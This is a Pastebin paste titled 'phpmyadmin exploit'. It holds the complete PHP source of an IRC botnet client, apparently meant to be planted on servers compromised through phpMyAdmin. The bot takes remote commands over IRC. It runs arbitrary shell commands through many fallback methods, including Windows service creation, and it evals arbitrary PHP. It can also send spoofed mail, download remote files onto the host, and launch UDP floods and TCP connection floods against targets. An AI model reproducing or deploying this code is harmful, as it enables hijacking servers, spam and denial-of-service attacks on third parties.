Advertisement
egy-mast3r

phpmyadmin exploit

Aug 12th, 2014
343
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 18.17 KB | None | 0 0
  1. Php IRC bot for phpmyadmin exploit
  2. go to line 86 to edit irc info
  3.  
  4. <?php
  5. set_time_limit(0);
  6. error_reporting(0);
  7.  
  8. $dir = getcwd();
  9. $uname= @php_uname();
  10.  
  11. function whereistmP()
  12. {
  13.         $uploadtmp=ini_get('upload_tmp_dir');
  14.         $uf=getenv('USERPROFILE');
  15.         $af=getenv('ALLUSERSPROFILE');
  16.         $se=ini_get('session.save_path');
  17.         $envtmp=(getenv('TMP'))?getenv('TMP'):getenv('TEMP');
  18.         if(is_dir('/tmp') && is_writable('/tmp'))return '/tmp';
  19.         if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))return '/usr/tmp';
  20.         if(is_dir('/var/tmp') && is_writable('/var/tmp'))return '/var/tmp';
  21.         if(is_dir($uf) && is_writable($uf))return $uf;
  22.         if(is_dir($af) && is_writable($af))return $af;
  23.         if(is_dir($se) && is_writable($se))return $se;
  24.         if(is_dir($uploadtmp) && is_writable($uploadtmp))return $uploadtmp;
  25.         if(is_dir($envtmp) && is_writable($envtmp))return $envtmp;
  26.         return '.';        
  27. }
  28. function srvshelL($command)
  29. {
  30.         $name=whereistmP()."\\".uniqid('NJ');
  31.         $n=uniqid('NJ');
  32.         $cmd=(empty($_SERVER['ComSpec']))?'d:\\windows\\system32\\cmd.exe':$_SERVER['ComSpec'];
  33.         win32_create_service(array('service'=>$n,'display'=>$n,'path'=>$cmd,'params'=>"/c $command >\"$name\""));
  34.         win32_start_service($n);
  35.         win32_stop_service($n);
  36.         win32_delete_service($n);
  37.         while(!file_exists($name))sleep(1);
  38.         $exec=file_get_contents($name);
  39.         unlink($name);
  40.         return $exec;
  41. }
  42. function ffishelL($command)
  43. {
  44.         $name=whereistmP()."\\".uniqid('NJ');
  45.         $api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);");
  46.         $res=$api->WinExec("cmd.exe /c $command >\"$name\"",0);
  47.         while(!file_exists($name))sleep(1);
  48.         $exec=file_get_contents($name);
  49.         unlink($name);
  50.         return $exec;
  51. }
  52. function comshelL($command,$ws)
  53. {
  54.         $exec=$ws->exec("cmd.exe /c $command");
  55.         $so=$exec->StdOut();
  56.         return $so->ReadAll();
  57. }
  58. function perlshelL($command)
  59. {
  60.         $perl=new perl();
  61.         ob_start();
  62.         $perl->eval("system(\"$command\")");
  63.         $exec=ob_get_contents();
  64.         ob_end_clean();
  65.         return $exec;
  66. }
  67. function Exe($command)
  68. {
  69.         $exec=$output='';
  70.         $dep[]=array('pipe','r');$dep[]=array('pipe','w');
  71.         if(function_exists('passthru')){ob_start();@passthru_($command);$exec=ob_get_contents();ob_clean();ob_end_clean();}
  72.         elseif(function_exists('system')){$tmp=ob_get_contents();ob_clean();@system($command);$output=ob_get_contents();ob_clean();$exec=$tmp;}
  73.         elseif(function_exists('exec')){@exec($command,$output);$output=join("\n",$output);$exec=$output;}
  74.         elseif(function_exists('shell_exec'))$exec=@shell_exec($command);
  75.         elseif(function_exists('popen')){$output=@popen($command,'r');while(!feof($output)){$exec=fgets($output);}pclose($output);}
  76.         elseif(function_exists('proc_open')){$res=@proc_open($command,$dep,$pipes);while(!feof($pipes[1])){$line=fgets($pipes[1]);$output.=$line;}$exec=$output;proc_close($res);}
  77.         elseif(function_exists('win_shell_execute') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')$exec=winshelL($command);
  78.         elseif(function_exists('win32_create_service') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')$exec=srvshelL($command);
  79.         elseif(extension_loaded('ffi') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')$exec=ffishelL($command);
  80.         elseif(extension_loaded('perl'))$exec=perlshelL($command);
  81.         return $exec;
  82. }
  83.  
  84. class sell
  85. {
  86.  var $config = array("server"=>"", "port"=>"", "key"=>"", "prefix"=>"WIN32", "maxrand"=>"8", "chan"=>"", "trigger"=>"-", "password"=>"", "auth"=>"");
  87.  var $users = array();
  88.  function start()
  89.  {
  90.     while(true)
  91.         {
  92.             if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30))) $this->start();
  93.                 $pass = $this->config['password'];
  94.             $alph = range("0","9");
  95.                 $this->send("PASS ".$pass."");
  96.                 if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') $ident = "Windows";
  97.                 else $ident = "Linux";
  98.             $this->send("USER ".$ident." 127.0.0.1 localhost :".php_uname()."");
  99.             $this->set_nick();
  100.             $this->main();
  101.         }
  102. }
  103.  function main()
  104.  {
  105.     while(!feof($this->conn))
  106.     {
  107.         if(function_exists('stream_select'))
  108.         {
  109.         $read = array($this->conn);
  110.         $write = NULL;
  111.         $except = NULL;
  112.         $changed = stream_select($read, $write, $except, 30);
  113.         if($changed == 0)
  114.         {
  115.                 fwrite($this->conn, "PING :lelcomeatme\r\n");
  116.                 $read = array($this->conn);
  117.                 $write = NULL;
  118.                 $except = NULL;
  119.                 $changed = stream_select($read, $write, $except, 30);
  120.                 if($changed == 0) break;
  121.         }
  122.         }
  123.        $this->buf = trim(fgets($this->conn,512));
  124.        $cmd = explode(" ",$this->buf);
  125.        if(substr($this->buf,0,6)=="PING :") { $this->send("PONG :".substr($this->buf,6)); continue; }
  126.        if(isset($cmd[1]) && $cmd[1] =="001") {
  127.            $this->auth($this->config['auth']);
  128.            $this->join($this->config['chan'],$this->config['key']);
  129.            if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') $this->join("#Windows");
  130.        else $this->join("#Linux");
  131.            continue;
  132.            }
  133.        if(isset($cmd[1]) && $cmd[1]=="433") { $this->set_nick(); continue; }
  134.        if($this->buf != $old_buf)
  135.        {
  136.           $mcmd = array();
  137.           $msg = substr(strstr($this->buf," :"),2);
  138.           $msgcmd = explode(" ",$msg);
  139.           $nick = explode("!",$cmd[0]);
  140.           $vhost = explode("@",$nick[1]);
  141.           $vhost = $vhost[1];
  142.           $nick = substr($nick[0],1);
  143.           $host = $cmd[0];
  144.           if($msgcmd[0]==$this->nick) for($i=0;$i<count($msgcmd);$i++) $mcmd[$i] = $msgcmd[$i+1];
  145.           else for($i=0;$i<count($msgcmd);$i++) $mcmd[$i] = $msgcmd[$i];
  146.  
  147.           if(count($cmd)>2)
  148.           {
  149.              switch($cmd[1])
  150.              {
  151.                 case "PRIVMSG":
  152.                       if(substr($mcmd[0],0,1)=="-")
  153.                       {
  154.                          switch(substr($mcmd[0],1))
  155.                          {
  156.                             case "mail":
  157.                                if(count($mcmd)>4)
  158.                                {
  159.                                   $header = "From: <".$mcmd[2].">";
  160.                                   if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header))
  161.                                   {
  162.                                      $this->privmsg($this->config['chan'],"[\2mail\2]: failed sending.");
  163.                                   }
  164.                                   else
  165.                                   {
  166.                                      $this->privmsg($this->config['chan'],"[\2mail\2]: sent.");
  167.                                   }
  168.                                }
  169.                             break;
  170.                                                         case "dns":
  171.                                if(isset($mcmd[1]))
  172.                                {
  173.                                   $ip = explode(".",$mcmd[1]);
  174.                                   if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
  175.                                   {
  176.                                      $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
  177.                                   }
  178.                                   else
  179.                                   {
  180.                                      $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
  181.                                   }
  182.                                }
  183.                                                         break;  
  184.                                                         case "vuln":
  185.                                                                 $this->privmsg($this->config['chan'], "~http://" . $_SERVER['SERVER_NAME'] . "" . $_SERVER['REQUEST_URI'] . "");
  186.                                                         break;
  187.                             case "uname":
  188.                                if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
  189.                                else { $safemode = "off"; }
  190.                                $uname = php_uname();
  191.                                $this->privmsg($this->config['chan'],"[\2info\2]: ".$uname." (safe: ".$safemode.")");
  192.                             break;
  193.                             case "raw":
  194.                                $this->send(strstr($msg,$mcmd[1]));
  195.                             break;
  196.                             case "eval":
  197.                                                                 ob_start();
  198.                                                                 eval(strstr($msg,$mcmd[1]));
  199.                                                                 $exec=ob_get_contents();
  200.                                                                 ob_end_clean();
  201.                                $ret = explode("\n",$exec);
  202.                                for($i=0;$i<count($ret);$i++) if($ret[$i]!=NULL) $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
  203.                             break;
  204.                             case "exec":
  205.                                 $command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0]) + 1);
  206.                                 $exec    = exec($command);
  207.                                 $ret     = explode("\n", $exec);
  208.                                 for ($i = 0; $i < count($ret); $i++)
  209.                                  if ($ret[$i] != NULL)
  210.                                  $this->privmsg($this->config['chan'], "      : " . trim($ret[$i]));
  211.                             break;
  212.                             case "cmd":
  213.                                $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  214.                                $exec = Exe($command);
  215.                                $ret = explode("\n",$exec);
  216.                                for($i=0;$i<count($ret);$i++) if($ret[$i]!=NULL) $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
  217.                             break;
  218.                                 case "help":
  219.                                   $this->privmsg($this->config['chan'],"[\2Help!\2]");
  220.                                   $this->privmsg($this->config['chan'],"[\2Uzxy's php bot\2]");
  221.                                       $this->privmsg($this->config['chan'],"[\2For help visit: http://pastebin.com/u/uzxy\2]");
  222.                                                     break;
  223.                             case "server":
  224.                                if(count($mcmd)>2)
  225.                                {
  226.                                   $this->config['server'] = $mcmd[1];
  227.                                   $this->config['port'] = $mcmd[2];
  228.                                   if(isset($mcmcd[3]))
  229.                                   {
  230.                                    $this->config['pass'] = $mcmd[3];
  231.                                    $this->privmsg($this->config['chan'],"[\2Server Update\2]: Server Updated ".$mcmd[1].":".$mcmd[2]." pass: ".$mcmd[3]);
  232.                                   }
  233.                                   else
  234.                                   {
  235.                                      $this->privmsg($this->config['chan'],"[\2update\2]: switched server to ".$mcmd[1].":".$mcmd[2]);
  236.                                   }
  237.                                                                 fclose($this->conn);
  238.                                                             $this->start();
  239.                                }
  240.                             break;
  241.                                                         case "download":
  242.                                if(count($mcmd) > 2)
  243.                                {
  244.                                   if(!$fp = fopen($mcmd[2],"w"))
  245.                                   {
  246.                                      $this->privmsg($this->config['chan'],"[\2download\2]: could not open output file.");
  247.                                   }
  248.                                   else
  249.                                   {
  250.                                      if(!$get = file($mcmd[1]))
  251.                                      {
  252.                                         $this->privmsg($this->config['chan'],"[\2download\2]: could not download \2".$mcmd[1]."\2");
  253.                                      }
  254.                                      else
  255.                                      {
  256.                                         for($i=0;$i<=count($get);$i++)
  257.                                         {
  258.                                            fwrite($fp,$get[$i]);
  259.                                         }
  260.                                         $this->privmsg($this->config['chan'],"[\2download\2]: file \2".$mcmd[1]."\2 downloaded to \2".$mcmd[2]."\2");
  261.                                      }
  262.                                      fclose($fp);
  263.                                   }
  264.                                }
  265.                                else { $this->privmsg($this->config['chan'],"[\2download\2]: use .download http://your.host/file /tmp/file"); }
  266.                             break;
  267.                             case "udp":
  268.                                if(count($mcmd)>3) { $this->udp($mcmd[1],$mcmd[2],$mcmd[3]); }
  269.                             break;
  270.                                                         case "udpflood":
  271.                                if(count($mcmd)>4) { $this->udpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4]); }
  272.                             break;
  273.                             case "tcpconn":
  274.                                if(count($mcmd)>3) { $this->tcpconn($mcmd[1],$mcmd[2],$mcmd[3]); }
  275.                             break;                                                    
  276.                                                         case "die":
  277.                                                            if(count($mcmd)>0) { fclose($this->conn); exit();}
  278.                                                         break;
  279.                          }
  280.                       }
  281.                 break;
  282.              }
  283.           }
  284.        }
  285.     }
  286.  }
  287.  function send($msg) { fwrite($this->conn,$msg."\r\n"); }
  288.  function join($chan,$key=NULL) { $this->send("JOIN ".$chan." ".$key); }
  289.  function auth($chan) { $this->send("PART ".$chan); }
  290.  function privmsg($to,$msg) { $this->send("PRIVMSG ".$to." :".$msg); }
  291.  function notice($to,$msg) { $this->send("NOTICE ".$to." :".$msg); }
  292.  function set_nick()
  293.  {
  294.     $prefix = "Botname-%s";
  295.         $nickk = substr(str_shuffle("1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ"), 0, $this->config['maxrand']);
  296.         $this->nick = sprintf($prefix, $nickk);
  297.     $this->send("NICK ".$this->nick);
  298.  }
  299.   function udp($host,$port,$time) {
  300.                 $packetsize = 65500;
  301.                 $this->privmsg($this->config['chan'],"[\2UDP Attack Started!\2]");
  302.                 $packet = "";
  303.                 for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
  304.                 $end = time() + $time;
  305.                 $i = 0;
  306.                 $fp = fsockopen("udp://".$host,$port,$e,$s,5);
  307.                 while(true)
  308.                 {
  309.                                 fwrite($fp,$packet);
  310.                         fflush($fp);
  311.                         if($i % 100 == 0)
  312.                         {
  313.                                 if($end < time()) break;
  314.                         }
  315.                         $i++;
  316.                 }
  317.                                 fclose($fp);
  318.                 $env = $i * $packetsize;
  319.                 $env = $env / 1048576;
  320.                 $vel = $env / $time;
  321.                 $vel = round($vel);
  322.                 $env = round($env);
  323.                 $this->privmsg($this->config['chan'],"[\2UDP Attack Finished!\2]: ".$env." MB sent / Average: ".$vel." MB/s ");
  324.         }
  325.    function udpflood($host,$port,$time,$packetsize) {
  326.         $this->privmsg($this->config['chan'],"[\2UDPFLOOD Started!\2]");
  327.         $packet = "";
  328.         for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
  329.         $end = time() + $time;
  330.         $multitarget = false;
  331.         if(strpos($host, ",") !== FALSE)
  332.         {
  333.                 $multitarget = true;
  334.                 $host = explode(",", $host);
  335.         }
  336.         $i = 0;
  337.         if($multitarget)
  338.         {
  339.                 $fp = array();
  340.                 foreach($host as $hostt) $fp[] = fsockopen("udp://".$hostt,$port,$e,$s,5);
  341.  
  342.                 $count = count($host);
  343.                 while(true)
  344.                 {
  345.                         fwrite($fp[$i % $count],$packet);
  346.                         fflush($fp[$i % $count]);
  347.                         if($i % 100 == 0)
  348.                         {
  349.                                 if($end < time()) break;
  350.                         }
  351.                         $i++;
  352.                 }
  353.  
  354.                 foreach($fp as $fpp) fclose($fpp);
  355.         } else {
  356.                 $fp = fsockopen("udp://".$host,$port,$e,$s,5);
  357.                 while(true)
  358.                 {
  359.                         fwrite($fp,$packet);
  360.                         fflush($fp);
  361.                         if($i % 100 == 0)
  362.                         {
  363.                                 if($end < time()) break;
  364.                         }
  365.                         $i++;
  366.                 }
  367.                 fclose($fp);
  368.         }
  369.         $env = $i * $packetsize;
  370.         $env = $env / 1048576;
  371.         $vel = $env / $time;
  372.         $vel = round($vel);
  373.         $env = round($env);
  374.         $this->privmsg($this->config['chan'],"[\2UDPFlood Finished!\2]: ".$env." MB sent / Average: ".$vel." MB/s ");
  375.         }
  376.     function tcpconn($host,$port,$time)
  377.  {
  378.     $this->privmsg($this->config['chan'],"[\2TcpConn Started!\2]");
  379.     $end = time() + $time;
  380.     $i = 0;
  381.     while($end > time())
  382.     {
  383.         $fp = fsockopen($host, $port, $dummy, $dummy, 1);
  384.         fclose($fp);
  385.         $i++;
  386.     }
  387.     $this->privmsg($this->config['chan'],"[\2TcpFlood Finished!\2]: sent ".$i." connections to $host:$port.");
  388.  }
  389. }      
  390. $poll = new sell;
  391. $poll->start();
  392. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement